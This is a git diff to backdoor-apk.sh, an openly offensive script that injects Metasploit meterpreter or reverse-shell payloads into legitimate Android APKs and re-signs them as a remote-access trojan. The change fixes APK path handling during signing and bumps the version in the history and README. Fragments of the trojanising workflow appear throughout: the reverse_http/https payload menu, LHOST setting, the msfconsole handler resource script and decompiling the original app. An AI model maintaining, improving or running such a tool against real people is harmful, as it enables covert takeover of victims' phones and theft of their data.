diff --git a/HISTORY.rst b/HISTORY.rst index 274ad20..278881d 100644 --- a/HISTORY.rst +++ b/HISTORY.rst @@ -3,6 +3,13 @@ Release History --------------- +0.2.4a (2018-09-28) ++++++++++++++++++++ + +**Bug Fixes** + +- Fixed issue signing a recompiled APK with the original APK not in the same directory as the backdoor-apk.sh script + 0.2.4 (2018-09-27) ++++++++++++++++++ diff --git a/README.md b/README.md index 65576e9..1c7d1c2 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ ________|__________|__________________________________________ /____________\ |____________| Dana James Traversie -[*] Running backdoor-apk.sh v0.2.4 on Thu Sep 27 17:13:34 EDT 2018 +[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018 [+] Android payload options: 1) meterpreter/reverse_http 4) shell/reverse_http 2) meterpreter/reverse_https 5) shell/reverse_https diff --git a/backdoor-apk/backdoor-apk.sh b/backdoor-apk/backdoor-apk.sh index df6b648..930e5b6 100755 --- a/backdoor-apk/backdoor-apk.sh +++ b/backdoor-apk/backdoor-apk.sh @@ -13,7 +13,7 @@ # required by other Linux distros as well. # apt-get install lib32z1 lib32ncurses5 lib32stdc++6 -VERSION="0.2.4" +VERSION="0.2.4a" PAYLOAD="" LHOST="" @@ -37,6 +37,7 @@ ZIPALIGN=third-party/android-sdk-linux/build-tools/25.0.2/zipalign MY_PATH=`pwd` TMP_DIR=$MY_PATH/tmp ORIG_APK_FILE=$1 +ORIG_APK_FILE_NAME="" RAT_APK_FILE=Rat.apk LOG_FILE=$MY_PATH/run.log TIME_OF_RUN=`date` @@ -275,6 +276,8 @@ exploit -j -z EOL echo "[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc" +ORIG_APK_FILE_NAME=`echo "${ORIG_APK_FILE##*/}"` +echo "Wroking on original APK: $ORIG_APK_FILE_NAME" >>$LOG_FILE 2>&1 echo -n "[*] Decompiling original APK file..." $APKTOOL d -f -o $MY_PATH/original $MY_PATH/$ORIG_APK_FILE >>$LOG_FILE 2>&1 rc=$? @@ -672,7 +675,7 @@ if [ $rc != 0 ]; then fi keystore=$MY_PATH/signing.keystore -compiled_apk=$MY_PATH/original/dist/$ORIG_APK_FILE +compiled_apk=$MY_PATH/original/dist/$ORIG_APK_FILE_NAME unaligned_apk=$MY_PATH/original/dist/unaligned.apk dname=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Owner:" |sed 's/^.*: //g'`